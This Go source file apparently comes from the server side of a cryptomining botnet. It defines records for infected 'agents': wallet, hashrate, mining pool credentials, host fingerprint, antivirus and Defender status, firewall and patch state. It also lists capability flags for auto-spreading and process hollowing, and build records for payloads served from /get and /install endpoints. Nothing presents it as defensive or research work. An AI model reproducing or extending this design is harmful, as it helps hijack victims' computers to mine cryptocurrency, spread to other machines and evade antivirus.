package models

import "time"

type Agent struct {
	ID        string    `json:"id"`
	Name      string    `json:"name"`
	Wallet    string    `json:"wallet"`
	IP        string    `json:"ip"`
	Version   string    `json:"version"`
	Status    string    `json:"status"` // online, offline, error
	CPUCores  int       `json:"cpu_cores"`
	MemoryGB  int       `json:"memory_gb"`
	LastSeen  time.Time `json:"last_seen"`
	CreatedAt time.Time `json:"created_at"`

	// Runtime stats (updated via heartbeat)
	Hashrate15s    float64 `json:"hashrate_15s"`
	Hashrate1m     float64 `json:"hashrate_1m"`
	Hashrate15m    float64 `json:"hashrate_15m"`
	SharesTotal    int     `json:"shares_total"`
	SharesGood     int     `json:"shares_good"`
	SharesBad      int     `json:"shares_bad"`
	CPUUsagePct    float64 `json:"cpu_usage_pct"`
	MemoryUsagePct float64 `json:"memory_usage_pct"`
	UptimeSeconds  int     `json:"uptime_seconds"`

	Notes string   `json:"notes"`
	Tags  []string `json:"tags"`

	Platform   string `json:"platform,omitempty"`
	Arch       string `json:"arch,omitempty"`
	OSVersion  string `json:"os_version,omitempty"`
	Hostname   string `json:"hostname,omitempty"`
	MacAddress string `json:"mac_address,omitempty"`

	// Live connection quality — not persisted, set by WSHub each stats cycle.
	LatencyMs *int `json:"latency_ms,omitempty"`

	Capabilities *AgentCapabilities `json:"capabilities,omitempty"`

	// Listen ports count (full list via listen_ports command)
	ListenPortCount *int `json:"listen_port_count,omitempty"`

	// DNS config — T1016 System Network Configuration Discovery
	DNSServers       []string `json:"dns_servers,omitempty"`
	DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
	DNSDrifted       bool     `json:"dns_drifted,omitempty"`

	// Resource pressure — mining-specific runtime telemetry
	CPUFreqMHz  *int     `json:"cpu_freq_mhz,omitempty"`
	CPUMaxMHz   *int     `json:"cpu_max_mhz,omitempty"`
	CPUThrottle *bool    `json:"cpu_throttle,omitempty"`
	CPUTempC    *int     `json:"cpu_temp_c,omitempty"`
	DiskFreeGB  *float64 `json:"disk_free_gb,omitempty"`
	DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
	DiskFreePct *int     `json:"disk_free_pct,omitempty"`
	GPUTempC    *int     `json:"gpu_temp_c,omitempty"`
	GPUUsagePct *int     `json:"gpu_usage_pct,omitempty"`

	// GPU / Ravencoin mining
	GPUMinerActive *bool   `json:"gpu_miner_active,omitempty"`
	GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
	GPUHashrate1m  float64 `json:"gpu_hashrate_1m,omitempty"`
	GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
	GPUModel       string  `json:"gpu_model,omitempty"`

	// Crucible — SSH status probed by the agent every ~60s
	SSHAvailable *bool `json:"ssh_available,omitempty"`

	// Defense posture + patch exposure — ATT&CK T1685/T1686.003
	PostureScore    int      `json:"posture_score,omitempty"`
	DefenderEnabled *bool    `json:"defender_enabled,omitempty"`
	DefenderRTP     *bool    `json:"defender_rtp,omitempty"`
	AVProducts      []string `json:"av_products,omitempty"`
	FirewallDomain  *bool    `json:"firewall_domain,omitempty"`
	FirewallPrivate *bool    `json:"firewall_private,omitempty"`
	FirewallPublic  *bool    `json:"firewall_public,omitempty"`
	LastPatchDays   *int     `json:"last_patch_days,omitempty"`
	LastPatch       *string  `json:"last_patch,omitempty"`
	PendingUpdates  *int     `json:"pending_updates,omitempty"`
	RebootPending   *bool    `json:"reboot_pending,omitempty"`
	AgentElevated   *bool    `json:"agent_elevated,omitempty"`

	// T1007 System Service Discovery — fixed allowlist only
	Services []AgentService `json:"services,omitempty"`
}

// AgentService mirrors the ServiceStatus reported by the agent.
type AgentService struct {
	Name        string `json:"name"`
	DisplayName string `json:"display_name,omitempty"`
	Status      string `json:"status"`
	StartType   string `json:"start_type"`
}

// AgentCapabilities reports forge-time features available for remote command.
type AgentCapabilities struct {
	HolePunch        bool `json:"hole_punch"`
	RemoteAggressive bool `json:"remote_aggressive"`
	MeshP2P          bool `json:"mesh_p2p"`
	AutoSpread       bool `json:"auto_spread"`
	ProcessHollowing bool `json:"process_hollowing"`
	AIEnabled        bool `json:"ai_enabled"`
}

type Share struct {
	ID         int64     `json:"id"`
	AgentID    string    `json:"agent_id"`
	JobID      string    `json:"job_id"`
	Difficulty int64     `json:"difficulty"`
	Accepted   bool      `json:"accepted"`
	Hash       string    `json:"hash"`
	Nonce      string    `json:"nonce"`
	Error      string    `json:"error,omitempty"`
	Timestamp  time.Time `json:"timestamp"`
}

type HashrateSample struct {
	ID        int64     `json:"id"`
	AgentID   string    `json:"agent_id"`
	Hashrate  float64   `json:"hashrate"`
	Timestamp time.Time `json:"timestamp"`
}

type Job struct {
	ID            string    `json:"id"`
	Height        int64     `json:"height"`
	Difficulty    int64     `json:"difficulty"`
	BlockTemplate string    `json:"block_template"`
	SeedHash      string    `json:"seed_hash"`
	Target        string    `json:"target"`
	CreatedAt     time.Time `json:"created_at"`
}

type BuildExtraFile struct {
	FileName string `json:"file_name"`
	FilePath string `json:"file_path,omitempty"`
}

type BuildRecord struct {
	ID          string           `json:"id"`
	WorkerName  string           `json:"worker_name"`
	ServerURL   string           `json:"server_url"`
	Wallet      string           `json:"wallet"`
	Threads     int              `json:"threads"`
	FileSize    int64            `json:"file_size"`
	BundleSize  int64            `json:"bundle_size"`
	FilePath    string           `json:"file_path"`
	FileName    string           `json:"file_name"`    // base filename for display
	DownloadURL string           `json:"download_url"` // relative URL; client prepends server origin
	ExtraFiles  []BuildExtraFile `json:"extra_files,omitempty"`
	Platform    string           `json:"platform"` // "windows", "linux", "darwin", "universal"
	CreatedAt   time.Time `json:"created_at"`
	Pinned      bool      `json:"pinned"` // true = this build is served by /get and /install.*
	// Pool settings
	PoolHost string `json:"pool_host"`
	PoolPort int    `json:"pool_port"`
	PoolTLS  bool   `json:"pool_tls"`
	PoolPass string `json:"pool_pass"`
}
